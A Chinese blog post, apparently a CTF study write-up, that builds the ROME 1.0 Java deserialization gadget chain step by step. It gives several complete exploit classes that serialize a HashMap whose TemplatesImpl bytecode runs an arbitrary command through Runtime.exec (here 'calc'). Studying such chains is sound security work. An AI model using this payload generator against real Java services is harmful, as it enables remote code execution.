Rome1.0 序列化链子 手写exp

Rome1.0

之前见过,当时参考这个ROME反序列化分析 (c014.cn)

yso里的rome1.0利用链如下

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

和cc的对比

image-20220415233851212

说明我从cc中学到了rce的姿势(关于类的动态加载执行恶意代码)

不过我们不需要yso这么长

image-20220416121444855

环境搭建

之前用的jdk11也可以复现这条链子,但是虎符ctf里面的环境是jdk8u,这里试图搭建环境

image-20220416112412101

导入包

image-20220416113244195

pom.xml

大概率用到java反射,增加上去(实际上d3shorter那题里面也有这环境)

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>

        <dependency>
            <groupId>org.mozilla</groupId>
            <artifactId>rhino</artifactId>
            <version>1.7.11</version>
        </dependency>
    </dependencies>

先试个poc @miku233师傅

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import sun.reflect.*;

import javax.xml.transform.Templates;

public class poc {

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.getOutputProperties();

        ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
        //toStringBean.toString();

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        //equalsBean.hashCode();

        HashMap<Object, Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");

        setValue(toStringBean, "_obj", templates);

        serialize(map);
        unserialize("ser.bin");

    }
}

image-20220416114115852

然后试图从手写exp的角度进行学习

手写exp

前面从cc3学到了关于类的动态加载执行恶意代码——TemplatesImpl

image-20220416114637473

poc1 和之前cc3结尾一样

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        setValue(templates,"_name", "aaa");
//
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();

image-20220416115055313

找到代替templates.newTransformer();的

TemplatesImpl.getOutputProperties();

image-20220416120423810

直接注释掉templates.newTransformer();换成上面那个就可以了

TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer()

下一步

我试图查找用法失败

image-20220416120911552

这里没有看到rome包里的,所以需要我们参照一下poc链分析一下,原来它使用了ToStringBean.toString()

跟进,可以看到有参方法和无参方法

image-20220416132750745

有参方法有invoke

这时候引入一个结论(参考ROME反序列化分析 (c014.cn)

首先要知道怎么直接通过可控.invoke(可控,NO_PARAMS)来达成RCE

从上面一张图中可以看出pReadMethodnamegetOutputProperties,且this._objTemplatesImpl

其实在TemplatesImpl中可以实现加载_bytecodes属性中的字节码来达成任意代码执行

    private String toString(String prefix) {
        StringBuffer sb = new StringBuffer(128);

        try {
            PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
            if (pds != null) {
                for(int i = 0; i < pds.length; ++i) {
                    String pName = pds[i].getName();
                    Method pReadMethod = pds[i].getReadMethod();
                    if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                        Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                        this.printProperty(sb, prefix + "." + pName, value);
                    }
                }
            }
        } catch (Exception var8) {
            sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
        }

        return sb.toString();
    }

结合代码,就是pReadMethod要是getOutputProperties,this._obj要是TemplatesImpl,就可以接上前面的poc1了

this._obj的赋值我们可以看到它的构造函数

image-20220416133834921

于是想到ToStringBean(new beanClass(),templateslmpl)

而关于pReadMethod

image-20220416134028456

结合构造函数发现也是如此,那就赋值ToStringBean(getOutputProperties,templateslmpl)

上面写的不好,第一个参数是beanClass

new ToStringBean(templates.getClass(), templates);

poc2

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import sun.reflect.*;

import javax.xml.transform.Templates;

public class poc {

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        setValue(templates,"_name", "aaa");
//
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();

//        TemplatesImpl
//

//        ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates);
//      上面这条写错了!

ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
        toStringBean.toString();
        }
    }

image-20220416134950132

然后试图找toString

image-20220416135342838

仔细一想确实,这种常用的类应该随便找个都有使用toString的

然后又看了一会链子,发现是这样

EqualsBean.hashcode

image-20220416140327105

控制obj为那啥就行

看一眼构造函数,直接是public,实现序列化接口,好耶

image-20220416140505533

poc3

//        toStringBean.toString();

        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
        equalsBean.hashCode();

image-20220416140721843

然后随便找个1.可以readObject 2.调用了equalsBean.hashCode(); 就好

搜一下谁调用了它,建议在java.utils里面找

image-20220416141038822

网上找的是HashMap,其实hashtable估计也可以,下面是HashMap.hash

image-20220416141204048

readObject里面有调用hash

image-20220416141335212

在 cc6 中也是由 HashMap.readObject 进入,直接让 key 为 EqualsBean 即可,注意 put 的时候也会触发 hashCode ,所以 put 之后再赋值

        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "_obj", templates);
        serialize(map);

但是这样之后序列化执行,反序列化也执行

结果发现前面写错了(前面已修改)

最终poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import sun.reflect.*;

import javax.xml.transform.Templates;

public class poc {

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        setValue(templates,"_name", "aaa");
//
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();

//        TemplatesImpl
//

        ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
//        toStringBean.toString();

        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
//        equalsBean.hashCode();

        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "_obj", templates);
        serialize(map);
        unserialize("ser.bin");

    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇